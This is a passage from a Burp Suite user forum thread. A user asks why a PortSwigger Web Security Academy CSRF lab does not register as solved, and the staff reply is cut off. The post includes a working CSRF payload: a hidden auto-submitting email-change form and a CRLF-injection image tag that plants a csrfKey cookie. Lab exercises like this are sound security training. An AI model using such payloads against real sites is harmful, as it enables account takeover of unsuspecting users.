Research Academy
My account Customers About Blog Careers Legal Contact Resellers
The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

CSRF problem with lab

Mikaelvel | Last updated: Jun 06, 2023 07:35AM UTC

the lab called "CSRF where token is tied to non-session cookie" https://portswigger.net/web-security/csrf/bypassing-token-validation/lab-token-tied-to-non-session-cookie has a problem.I put this code on the body of the exploit server: <form method="POST" action="https://0ae300ed04eebac78068441f004f0080.web-security-academy.net/my-account/change-email"> <input type="hidden" name="email" value="jdoe12@yahoo-inc.com"> <input type="hidden" name="csrf" value="wzWIDkw0aOBNNUBUyD1sgFLTzjeElNtP"> </form> <img src="0ae300ed04eebac78068441f004f0080.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=c0xweRhOMWdP9tsggvcxVm7ETKsMzOV5%3b%20SameSite=None" onerror="document.forms[0].submit()"> when I press view exploit the email changes and everything looks fine.But, when I press deliver exploit to victim, for some reason the lab isn't solved.

Dominyque, PortSwigger Agent | Last updated: Jun 06, 2023 08:50AM UTC